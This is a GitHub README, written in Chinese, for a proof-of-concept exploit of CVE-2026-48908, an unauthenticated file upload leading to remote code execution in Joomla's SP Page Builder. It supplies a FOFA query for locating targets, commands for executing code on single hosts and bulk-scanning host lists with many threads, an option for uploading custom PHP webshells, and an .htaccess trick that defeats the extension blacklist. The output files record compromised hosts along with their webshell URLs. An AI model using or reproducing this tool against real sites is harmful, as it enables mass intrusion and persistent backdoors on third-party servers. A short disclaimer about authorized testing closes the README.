ayiezola/CVE-2026-48908
GitHub: ayiezola/CVE-2026-48908
针对 Joomla SP Page Builder 未授权任意文件上传与 RCE 漏洞的 PoC 利用工具,支持多线程批量扫描与自定义 Webshell 上传。
Stars: 0 | Forks: 0
# CVE-2026-48908 — SP Page Builder 未授权 RCE
适用于 Joomla 的 **SP Page Builder** (`com_sppagebuilder`) ≤ 6.6.1 版本允许未经身份验证的攻击者上传任意文件并实现远程代码执行 (RCE)。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-48908 |
| CWE | CWE-284 (不当访问控制) |
| 组件 | SP Page Builder (com_sppagebuilder) |
| 受影响版本 | 1.0.0 – 6.6.1 |
| 修复版本 | 6.6.2 |
| 所需权限 | 无 (身份验证前) |
| 用户交互 | 无 |
## FOFA 查询
```
body="com_sppagebuilder"
```
## 用法
### 环境要求
- Python 3.8+
```
pip install -r requirements.txt
```
### 单个主机
```
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check # probe only, no command
python3 exploit_poc.py https://target.example --token abc123 # custom token
```
### 批量扫描
```
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20 # 20 parallel threads
python3 exploit_poc.py --hosts ips.txt --no-verbose # quiet mode
```
### 自定义 webshell
```
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php
```
### 选项
| 标志 | 描述 |
|---|---|
| `url` | 目标 URL (位置参数或使用 `--url`) |
| `--hosts ` | 包含主机列表的文件 (每行一个) |
| `-c, --cmd ` | 要执行的命令 (默认: `id`) |
| `--check` | 仅探测,不运行命令 |
| `--token ` | 保护已上传 shell 的密钥 (默认: 随机) |
| `--shell-file ` | 上传自定义 PHP webshell 以替代内置 shell |
| `-j, --threads ` | 用于批量扫描的并行线程数 (默认: 10) |
| `--no-verbose` | 禁止单个主机的详细输出 |
## 演示

### 批量扫描


## 输出
扫描完成后,将保存三个结果文件:
| 文件 | 内容 |
|---|---|
| `vulnerable_hosts.txt` | 已确认存在 RCE 漏洞的主机 + webshell URL |
| `not_vulnerable_hosts.txt` | 已修复或不存在漏洞的主机 |
| `partial_vulnerable_hosts.txt` | 文件写入成功但无法执行 PHP 的主机 |
| `custom_shell_hosts.txt` | 已上传自定义 shell 的主机,按基础 URL 分组 (仅在使用 `--shell-file` 时生成) |
| `scan_results.json` | 包含所有主机完整结果的 JSON 文件 |
## 工作原理
该漏洞利用了 `com_sppagebuilder` 的 `asset.uploadCustomIcon` 任务:
1. 在未经身份验证的情况下 POST 一个精心构造的 ZIP (icon-font 包) — 无需 CSRF token。
2. SPPB 将该 ZIP 解压至 `/media/com_sppagebuilder/assets/iconfont//fonts/`。
3. 上传的 PHP 文件将被公开访问。
脚本会尝试多种 PHP 扩展名 (`.php`, `.PHP`, `.pHp`, `.Php`, `.pht`, `.phtml` 等) ,直到找到可以执行的为止。
### htaccess 绕过
当直接的 PHP 扩展名被 SPPB 的过滤规则阻止时,脚本会在 payload 旁边释放一个 `.htaccess` 文件:
```
AddType application/x-httpd-php .PHP
```
这会强制 Web 服务器将 `.PHP` (大写) 作为 PHP 处理 — 从而绕过 SPPB 区分大小写的黑名单。要求启用 `AllowOverride` 并且允许在 `/media` 目录中执行 PHP。
## 修改说明
此 PoC 基于 https://github.com/papageo75/CVE-2026-48908-PoC/ ,并进行了以下添加:
### 1. 非 JSON 响应处理
某些服务器响应可能会在实际的 JSON payload 之前包含非 JSON 前缀 (例如 cron 表达式或其他垃圾数据) 。原始 PoC 在解析此类响应时,会在执行 `r.json()` 时崩溃。此版本会扫描第一个 `{` 字符,并尝试对该子字符串进行 JSON 解码:
**修改前:**
```
try:
data = r.json()
except ValueError:
return None
```
**修改后:**
```
try:
data = r.json()
except ValueError:
raw = r.text
idx = raw.find("{")
if idx == -1:
return None
try:
data, _ = json.JSONDecoder().raw_decode(raw[idx:])
except ValueError:
return None
```
**示例 — 有效的 JSON 响应:**
```
{
"name": "icoctxojp",
"data": {
"id": 17,
"type": "iconfont",
"name": "icoctxojp",
"title": "Icoctxojp",
"assets": "["ico ico-x"]",
"css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
"created": "2026-06-24 07:26:18",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
},
"status": true,
"output": "Uploaded"
}
```
**示例 — 非 JSON 响应 (JSON 前方包含垃圾前缀):**
```
cron:self,tpl:amara_pro,cfg:ok{
"name": "icoxwetsw",
"data": {
"id": 163,
"type": "iconfont",
"name": "icoxwetsw",
"title": "Icoxwetsw",
"assets": "[\"ico ico-x\"]",
"css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
"created": "2026-06-24 03:42:57",
"created_by": 0,
"published": 1,
"access": 1,
"thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
},
"status": true,
"output": "Uploaded"
}
```
### 2. 批量扫描支持
添加了多线程批量扫描功能:
- `--hosts ` — 从文件加载目标 (每行一个)
- `-j, --threads ` — 设置并行线程数 (默认: 10)
- `--no-verbose` — 禁止单个主机的详细输出
- 结果经过分组并保存至分类的 `.txt` 文件中
### 3. 自定义 Webshell 上传
添加了 `--shell-file ` 选项,以上传自定义的 PHP webshell 替代内置的受 token 保护的 shell。使用此选项时:
- 脚本仅上传 shell,不会运行 `-c` 命令
- 不会进行执行测试 (`run()`)
- 将测试并报告所有有效的扩展名
- 结果将保存至 `custom_shell_hosts.txt`
## 免责声明
仅供授权使用。仅限用于经过授权的渗透测试、CTF 和实验室目标。您必须对自己使用该工具的方式承担全部责任。
标签:Web安全, 威胁模拟, 无服务器架构, 编程工具, 蓝队分析, 远程代码执行, 逆向工具